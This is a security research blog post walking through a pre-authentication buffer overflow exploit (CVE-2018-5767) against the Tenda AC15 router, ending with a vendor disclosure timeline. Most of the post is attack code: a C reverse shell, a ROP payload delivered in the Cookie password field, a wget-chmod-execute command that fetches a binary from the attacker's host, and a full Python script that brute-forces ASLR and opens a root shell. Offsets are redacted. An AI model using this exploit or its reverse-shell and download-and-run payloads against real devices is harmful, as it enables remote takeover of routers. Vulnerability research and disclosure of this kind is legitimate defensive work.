Research

Remote Code Execution (CVE-2018-5767) Walkthrough on Tenda AC15 Router

Introduction

In this post we will be presenting a pre-authenticated remote code execution vulnerability present in Tenda’s AC15 router. We start by analysing the vulnerability, before moving on to our regular pattern of exploit development – identifying problems and then fixing those in turn to develop a working exploit.

N.B – Numerous attempts were made to contact the vendor with no success. Due to the nature of the vulnerability, offset’s have been redacted from the post to prevent point and click exploitation.

Laying the Groundwork

The vulnerability in question is caused by a buffer overflow due to unsanitised user input being passed directly to a call to sscanf. The figure below shows the vulnerable code in the R7WebsSecurityHandler function of the HTTPD binary for the device.

Note that the “password=” parameter is part of the Cookie header. We see that the code uses strstr to find this field, and then copies everything after the equals size (excluding a ‘;’ character – important for later) into a fixed size stack buffer.

If we send a large enough password value we can crash the server, in the following picture we have attached to the process using a cross compiled Gdbserver binary, we can access the device using telnet (a story for another post).

This crash isn’t exactly ideal. We can see that it’s due to an invalid read attempting to load a byte from R3 which points to 0x41414141. From our analysis this was identified as occurring in a shared library and instead of looking for ways to exploit it, we turned our focus back on the vulnerable function to try and determine what was happening after the overflow.

In the next figure we see the issue; if the string copied into the buffer contains “.gif”, then the function returns immediately without further processing. The code isn’t looking for “.gif” in the password, but in the user controlled buffer for the whole request. Avoiding further processing of a overflown buffer and returning immediately is exactly what we want (loc_2f7ac simply jumps to the function epilogue).

Appending “.gif” to the end of a long password string of “A”‘s gives us a segfault with PC=0x41414141. With the ability to reliably control the flow of execution we can now outline the problems we must address, and therefore begin to solve them – and so at the same time, develop a working exploit.

To begin with, the following information is available about the binary:

file httpd format elf type EXEC (Executable file) arch arm bintype elf bits 32 canary false endian little intrp /lib/ld-uClibc.so.0 machine ARM nx true pic false relocs false relro no static false

I’ve only included the most important details – mainly, the binary is a 32bit ARMEL executable, dynamically linked with NX being the only exploit mitigation enabled (note that the system has randomize_va_space = 1, which we’ll have to deal with). Therefore, we have the following problems to address:

Gain reliable control of PC through offset of controllable buffer. Bypass No Execute (NX, the stack is not executable). Bypass Address space layout randomisation (randomize_va_space = 1). Chain it all together into a full exploit.

Problem Solving 101

The first problem to solve is a general one when it comes to exploiting memory corruption vulnerabilities such as this – identifying the offset within the buffer at which we can control certain registers. We solve this problem using Metasploit’s pattern create and pattern offset scripts. We identify the correct offset and show reliable control of the PC register:

With problem 1 solved, our next task involves bypassing No Execute. No Execute (NX or DEP) simply prevents us from executing shellcode on the stack. It ensures that there are no writeable and executable pages of memory. NX has been around for a while so we won’t go into great detail about how it works or its bypasses, all we need is some ROP magic.

We make use of the “Return to Zero Protection” (ret2zp) method [1]. The problem with building a ROP chain for the ARM architecture is down to the fact that function arguments are passed through the R0-R3 registers, as opposed to the stack for Intel x86. To bypass NX on an x86 processor we would simply carry out a ret2libc attack, whereby we store the address of libc’s system function at the correct offset, and then a null terminated string at offset+4 for the command we wish to run:

To perform a similar attack on our current target, we need to pass the address of our command through R0, and then need some way of jumping to the system function. The sort of gadget we need for this is a mov instruction whereby the stack pointer is moved into R0. This gives us the following layout:

We identify such a gadget in the libc shared library, however, the gadget performs the following instructions.

mov sp, r0 blx r3

This means that before jumping to this gadget, we must have the address of system in R3. To solve this problem, we simply locate a gadget that allows us to mov or pop values from the stack into R3, and we identify such a gadget again in the libc library:

pop {r3,r4,r7,pc}

This gadget has the added benefit of jumping to SP+12, our buffer should therefore look as such:

Note the ‘;.gif’ string at the end of the buffer, recall that the call to sscanf stops at a ‘;’ character, whilst the ‘.gif’ string will allow us to cleanly exit the function. With the following Python code, we have essentially bypassed NX with two gadgets:

libc_base = **** curr_libc = libc_base + (0x7c << 12) system = struct.pack("<I", curr_libc + ****) #: pop {r3, r4, r7, pc} pop = struct.pack("<I", curr_libc + ****) #: mov r0, sp ; blx r3 mv_r0_sp = struct.pack("<I", curr_libc + ****) password = "A"*offset password += pop + system + "B"*8 + mv_r0_sp + command + ".gif"

With problem 2 solved, we now move onto our third problem; bypassing ASLR. Address space layout randomisation can be very difficult to bypass when we are attacking network based applications, this is generally due to the fact that we need some form of information leak. Although it is not enabled on the binary itself, the shared library addresses all load at different addresses on each execution. One method to generate an information leak would be to use “native” gadgets present in the HTTPD binary (which does not have ASLR) and ROP into the leak. The problem here however is that each gadget contains a null byte, and so we can only use 1. If we look at how random the randomisation really is, we see that actually the library addresses (specifically libc which contains our gadgets) only differ by one byte on each execution. For example, on one run libc’s base may be located at 0xXXXXXXXX, and on the next run it is at 0xXXXXXXXX

. We could theoretically guess this value, and we would have a small chance of guessing correct.

This is where our faithful watchdog process comes in. One process running on this device is responsible for restarting services that have crashed, so every time the HTTPD process segfaults, it is immediately restarted, pretty handy for us. This is enough for us to do some naïve brute forcing, using the following process:

With NX and ASLR successfully bypassed, we now need to put this all together (problem 3). This however, provides us with another set of problems to solve:

How do we detect the exploit has been successful? How do we use this exploit to run arbitrary code on the device?

We start by solving problem 2, which in turn will help us solve problem 1. There are a few steps involved with running arbitrary code on the device. Firstly, we can make use of tools on the device to download arbitrary scripts or binaries, for example, the following command string will download a file from a remote server over HTTP, change its permissions to executable and then run it:

command = "wget https://192.168.0.104/malware -O /tmp/malware && chmod 777 /tmp/malware && /tmp/malware &;"

The “malware” binary should give some indication that the device has been exploited remotely, to achieve this, we write a simple TCP connect back program. This program will create a connection back to our attacking system, and duplicate the stdin and stdout file descriptors – it’s just a simple reverse shell.

#include <sys/socket.h>

#include <sys/types.h>

#include <string.h>

#include <stdio.h>

#include <netinet/in.h>

int main(int argc, char **argv)

{

struct sockaddr_in addr;

socklen_t addrlen;

int sock = socket(AF_INET, SOCK_STREAM, 0);

memset(&addr, 0x00, sizeof(addr));

addr.sin_family = AF_INET;

addr.sin_port = htons(31337);

addr.sin_addr.s_addr = inet_addr(“192.168.0.104”);

int conn = connect(sock, (struct sockaddr *)&addr,sizeof(addr));

dup2(sock, 0);

dup2(sock, 1);

dup2(sock, 2);

system(“/bin/sh”);

}

We need to cross compile this code into an ARM binary, to do this, we use a prebuilt toolchain downloaded from Uclibc. We also want to automate the entire process of this exploit, as such, we use the following code to handle compiling the malicious code (with a dynamically configurable IP address). We then use a subprocess to compile the code (with the user defined port and IP), and serve it over HTTP using Python’s SimpleHTTPServer module.

”’

* Take the ARM_REV_SHELL code and modify it with

* the given ip and port to connect back to.

* This function then compiles the code into an

* ARM binary.

@Param comp_path – This should be the path of the cross-compiler.

@Param my_ip – The IP address of the system running this code.

”’

def compile_shell(comp_path, my_ip):

global ARM_REV_SHELL

outfile = open(“a.c”, “w”)

ARM_REV_SHELL = ARM_REV_SHELL%(REV_PORT, my_ip)

#write the code with ip and port to a.c

outfile.write(ARM_REV_SHELL)

outfile.close()

compile_cmd = [comp_path, “a.c”,”-o”, “a”]

s = subprocess.Popen(compile_cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

#wait for the process to terminate so we can get its return code

while s.poll() == None:

continue

if s.returncode == 0:

return True

else:

print “[x] Error compiling code, check compiler? Read the README?”

return False

”’

* This function uses the SimpleHTTPServer module to create

* a http server that will serve our malicious binary.

* This function is called as a thread, as a daemon process.

”’

def start_http_server():

Handler = SimpleHTTPServer.SimpleHTTPRequestHandler

httpd = SocketServer.TCPServer((“”, HTTPD_PORT), Handler)

print “[+] Http server started on port %d” %HTTPD_PORT

httpd.serve_forever()

This code will allow us to utilise the wget tool present on the device to fetch our binary and run it, this in turn will allow us to solve problem 1. We can identify if the exploit has been successful by waiting for connections back. The abstract diagram in the next figure shows how we can make use of a few threads with a global flag to solve problem 1 given the solution to problem 2.

The functions shown in the following code take care of these processes:

”’

* This function creates a listening socket on port

* REV_PORT. When a connection is accepted it updates

* the global DONE flag to indicate successful exploitation.

* It then jumps into a loop whereby the user can send remote

* commands to the device, interacting with a spawned /bin/sh

* process.

”’

def threaded_listener():

global DONE

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)

host = (“0.0.0.0”, REV_PORT)

try:

s.bind(host)

except:

print “[+] Error binding to %d” %REV_PORT

return -1

print “[+] Connect back listener running on port %d” %REV_PORT

s.listen(1)

conn, host = s.accept()

#We got a connection, lets make the exploit thread aware

DONE = True

print “[+] Got connect back from %s” %host[0]

print “[+] Entering command loop, enter exit to quit”

#Loop continuosly, simple reverse shell interface.

while True:

print “#”,

cmd = raw_input()

if cmd == “exit”:

break

if cmd == ”:

continue

conn.send(cmd + “\

”)

print conn.recv(4096)

”’

* This function presents the actual vulnerability exploited.

* The Cookie header has a password field that is vulnerable to

* a sscanf buffer overflow, we make use of 2 ROP gadgets to

* bypass DEP/NX, and can brute force ASLR due to a watchdog

* process restarting any processes that crash.

* This function will continually make malicious requests to the

* devices web interface until the DONE flag is set to True.

@Param host – the ip address of the target.

@Param port – the port the webserver is running on.

@Param my_ip – The ip address of the attacking system.

”’

def exploit(host, port, my_ip):

global DONE

url = “http://%s:%s/goform/exeCommand”%(host, port)

i = 0

command = “wget http://%s:%s/a -O /tmp/a && chmod 777

/tmp/a && /tmp/./a &;” %(my_ip, HTTPD_PORT)

#Guess the same libc base address each time

libc_base = ****

curr_libc = libc_base + (0x7c << 12)

system = struct.pack(“<I”, curr_libc + ****)

#: pop {r3, r4, r7, pc}

pop = struct.pack(“<I”, curr_libc + ****)

#: mov r0, sp ; blx r3

mv_r0_sp = struct.pack(“<I”, curr_libc + ****)

password = “A”*offset

password += pop + system + “B”*8 + mv_r0_sp + command + “.gif”

print “[+] Beginning brute force.”

while not DONE:

i += 1

print “[+] Attempt %d”%i

#build the request, with the malicious password field

req = urllib2.Request(url)

req.add_header(“Cookie”, “password=%s”%password)

#The request will throw an exception when we crash the server,

#we don’t care about this, so don’t handle it.

try:

resp = urllib2.urlopen(req)

except:

pass

#Give the device some time to restart the process.

time.sleep(1)

print “[+] Exploit done”

Finally, we put all of this together by spawning the individual threads, as well as getting command line options as usual:

def main():

parser = OptionParser()

parser.add_option(“-t”, “–target”, dest=”host_ip”,

help=”IP address of the target”)

parser.add_option(“-p”, “–port”, dest=”host_port”,

help=”Port of the targets webserver”)

parser.add_option(“-c”, “–comp-path”, dest=”compiler_path”,

help=”path to arm cross compiler”)

parser.add_option(“-m”, “–my-ip”, dest=”my_ip”, help=”your ip address”)

options, args = parser.parse_args()

host_ip = options.host_ip

host_port = options.host_port

comp_path = options.compiler_path

my_ip = options.my_ip

if host_ip == None or host_port == None:

parser.error(“[x] A target ip address (-t) and port (-p) are required”)

if comp_path == None:

parser.error(“[x] No compiler path specified,

you need a uclibc arm cross compiler,

such as https://www.uclibc.org/downloads/

binaries/0.9.30/cross-compiler-arm4l.tar.bz2″)

if my_ip == None:

parser.error(“[x] Please pass your ip address (-m)”)

if not compile_shell(comp_path, my_ip):

print “[x] Exiting due to error in compiling shell”

return -1

httpd_thread = threading.Thread(target=start_http_server)

httpd_thread.daemon = True

httpd_thread.start()

conn_listener = threading.Thread(target=threaded_listener)

conn_listener.start()

#Give the thread a little time to start up, and fail if that happens

time.sleep(3)

if not conn_listener.is_alive():

print “[x] Exiting due to conn_listener error”

return -1

exploit(host_ip, host_port, my_ip)

conn_listener.join()

return 0

if __name__ == ‘__main__’:

main()

With all of this together, we run the code and after a few minutes get our reverse shell as root:

The full code is here:

#!/usr/bin/env python

import urllib2

import struct

import time

import socket

from optparse import *

import SimpleHTTPServer

import SocketServer

import threading

import sys

import os

import subprocess

ARM_REV_SHELL = (

“#include <sys/socket.h>\

”

“#include <sys/types.h>\

”

“#include <string.h>\

”

“#include <stdio.h>\

”

“#include <netinet/in.h>\

”

“int main(int argc, char **argv)\

”

“{\

”

” struct sockaddr_in addr;\

”

” socklen_t addrlen;\

”

” int sock = socket(AF_INET, SOCK_STREAM, 0);\

”

” memset(&addr, 0x00, sizeof(addr));\

”

” addr.sin_family = AF_INET;\

”

” addr.sin_port = htons(%d);\

”

” addr.sin_addr.s_addr = inet_addr(\\”%s\\”);\

”

” int conn = connect(sock, (struct sockaddr *)&addr,sizeof(addr));\

”

” dup2(sock, 0);\

”

” dup2(sock, 1);\

”

” dup2(sock, 2);\

”

” system(\\”/bin/sh\\”);\

”

“}\

”

)

REV_PORT = 31337

HTTPD_PORT = 8888

DONE = False

”’

* This function creates a listening socket on port

* REV_PORT. When a connection is accepted it updates

* the global DONE flag to indicate successful exploitation.

* It then jumps into a loop whereby the user can send remote

* commands to the device, interacting with a spawned /bin/sh

* process.

”’

def threaded_listener():

global DONE

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)

host = (“0.0.0.0”, REV_PORT)

try:

s.bind(host)

except:

print “[+] Error binding to %d” %REV_PORT

return -1

print “[+] Connect back listener running on port %d” %REV_PORT

s.listen(1)

conn, host = s.accept()

#We got a connection, lets make the exploit thread aware

DONE = True

print “[+] Got connect back from %s” %host[0]

print “[+] Entering command loop, enter exit to quit”

#Loop continuosly, simple reverse shell interface.

while True:

print “#”,

cmd = raw_input()

if cmd == “exit”:

break

if cmd == ”:

continue

conn.send(cmd + “\

”)

print conn.recv(4096)

”’

* Take the ARM_REV_SHELL code and modify it with

* the given ip and port to connect back to.

* This function then compiles the code into an

* ARM binary.

@Param comp_path – This should be the path of the cross-compiler.

@Param my_ip – The IP address of the system running this code.

”’

def compile_shell(comp_path, my_ip):

global ARM_REV_SHELL

outfile = open(“a.c”, “w”)

ARM_REV_SHELL = ARM_REV_SHELL%(REV_PORT, my_ip)

outfile.write(ARM_REV_SHELL)

outfile.close()

compile_cmd = [comp_path, “a.c”,”-o”, “a”]

s = subprocess.Popen(compile_cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

while s.poll() == None:

continue

if s.returncode == 0:

return True

else:

print “[x] Error compiling code, check compiler? Read the README?”

return False

”’

* This function uses the SimpleHTTPServer module to create

* a http server that will serve our malicious binary.

* This function is called as a thread, as a daemon process.

”’

def start_http_server():

Handler = SimpleHTTPServer.SimpleHTTPRequestHandler

httpd = SocketServer.TCPServer((“”, HTTPD_PORT), Handler)

print “[+] Http server started on port %d” %HTTPD_PORT

httpd.serve_forever()

”’

* This function presents the actual vulnerability exploited.

* The Cookie header has a password field that is vulnerable to

* a sscanf buffer overflow, we make use of 2 ROP gadgets to

* bypass DEP/NX, and can brute force ASLR due to a watchdog

* process restarting any processes that crash.

* This function will continually make malicious requests to the

* devices web interface until the DONE flag is set to True.

@Param host – the ip address of the target.

@Param port – the port the webserver is running on.

@Param my_ip – The ip address of the attacking system.

”’

def exploit(host, port, my_ip):

global DONE

url = “http://%s:%s/goform/exeCommand”%(host, port)

i = 0

command = “wget http://%s:%s/a -O /tmp/a && chmod 777 /tmp/a && /tmp/./a &;” %(my_ip, HTTPD_PORT)

#Guess the same libc base continuosly

libc_base = ****

curr_libc = libc_base + (0x7c << 12)

system = struct.pack(“<I”, curr_libc + ****)

#: pop {r3, r4, r7, pc}

pop = struct.pack(“<I”, curr_libc + ****)

#: mov r0, sp ; blx r3

mv_r0_sp = struct.pack(“<I”, curr_libc + ****)

password = “A”*offset

password += pop + system + “B”*8 + mv_r0_sp + command + “.gif”

print “[+] Beginning brute force.”

while not DONE:

i += 1

print “[+] Attempt %d” %i

#build the request, with the malicious password field

req = urllib2.Request(url)

req.add_header(“Cookie”, “password=%s”%password)

#The request will throw an exception when we crash the server,

#we don’t care about this, so don’t handle it.

try:

resp = urllib2.urlopen(req)

except:

pass

#Give the device some time to restart the

time.sleep(1)

print “[+] Exploit done”

def main():

parser = OptionParser()

parser.add_option(“-t”, “–target”, dest=”host_ip”, help=”IP address of the target”)

parser.add_option(“-p”, “–port”, dest=”host_port”, help=”Port of the targets webserver”)

parser.add_option(“-c”, “–comp-path”, dest=”compiler_path”, help=”path to arm cross compiler”)

parser.add_option(“-m”, “–my-ip”, dest=”my_ip”, help=”your ip address”)

options, args = parser.parse_args()

host_ip = options.host_ip

host_port = options.host_port

comp_path = options.compiler_path

my_ip = options.my_ip

if host_ip == None or host_port == None:

parser.error(“[x] A target ip address (-t) and port (-p) are required”)

if comp_path == None:

parser.error(“[x] No compiler path specified, you need a uclibc arm cross compiler, such as https://www.uclibc.org/downloads/binaries/0.9.30/cross-compiler-arm4l.tar.bz2”)

if my_ip == None:

parser.error(“[x] Please pass your ip address (-m)”)

if not compile_shell(comp_path, my_ip):

print “[x] Exiting due to error in compiling shell”

return -1

httpd_thread = threading.Thread(target=start_http_server)

httpd_thread.daemon = True

httpd_thread.start()

conn_listener = threading.Thread(target=threaded_listener)

conn_listener.start()

#Give the thread a little time to start up, and fail if that happens

time.sleep(3)

if not conn_listener.is_alive():

print “[x] Exiting due to conn_listener error”

return -1

exploit(host_ip, host_port, my_ip)

conn_listener.join()

return 0

if __name__ == ‘__main__’:

main()

Credit

Tim Carrington – @__invictus_ – as part of Fidus’ Penetration Testing & Research team.

References

Aminmansour, Farzane & Shahriari, Hamid Reza. (2015). Patulous Code Reuse Attack: A novel code reuse attack on ARM architecture (A proof of concept on Android OS).

Timeline

Vulnerability discovered and first reported – 14/1/2018

Second attempt to make contact, further informing the vendor of the severity of the vulnerability – 18/1/2018

CVE’s assigned by Mitre.org – 19/1/2018

Livechat attempt to contact vendor – 19/1/2018

Another attempt to contact vendor 23/1/2018

Further attempt to contact vendor, confirming 5 CVE’s had been assigned to their product – 31/1/2018

Final contact attempted & warning of public disclosure – 8/2/2018

Public disclosure – 14/2/2018